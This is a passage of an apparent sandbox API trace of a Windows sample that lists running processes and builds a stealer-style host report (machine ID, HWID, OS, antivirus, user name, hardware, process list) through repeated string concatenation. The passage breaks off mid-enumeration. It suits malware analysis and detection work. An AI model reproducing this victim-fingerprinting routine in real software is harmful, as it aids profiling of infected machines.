[0054.789] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
[0054.790] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- "
[0054.790] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- ", lpString2="wininit.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe"
[0054.790] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe ["
[0054.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da58
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.791] GetLastError () returned 0x7a
[0054.791] SetLastError (dwErrCode=0x7a)
[0054.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da58 | out: hHeap=0x670000) returned 1
[0054.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0054.792] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [", lpString2="440" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440"
[0054.792] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n"
[0054.792] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0054.793] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- "
[0054.793] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- ", lpString2="csrss.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe"
[0054.793] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe ["
[0054.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.793] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da98
[0054.793] GetLastError () returned 0x7a
[0054.793] SetLastError (dwErrCode=0x7a)
[0054.793] GetLastError () returned 0x7a
[0054.793] SetLastError (dwErrCode=0x7a)
[0054.793] GetLastError () returned 0x7a
[0054.793] SetLastError (dwErrCode=0x7a)
[0054.793] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
[0054.794] GetLastError () returned 0x7a
[0054.794] SetLastError (dwErrCode=0x7a)
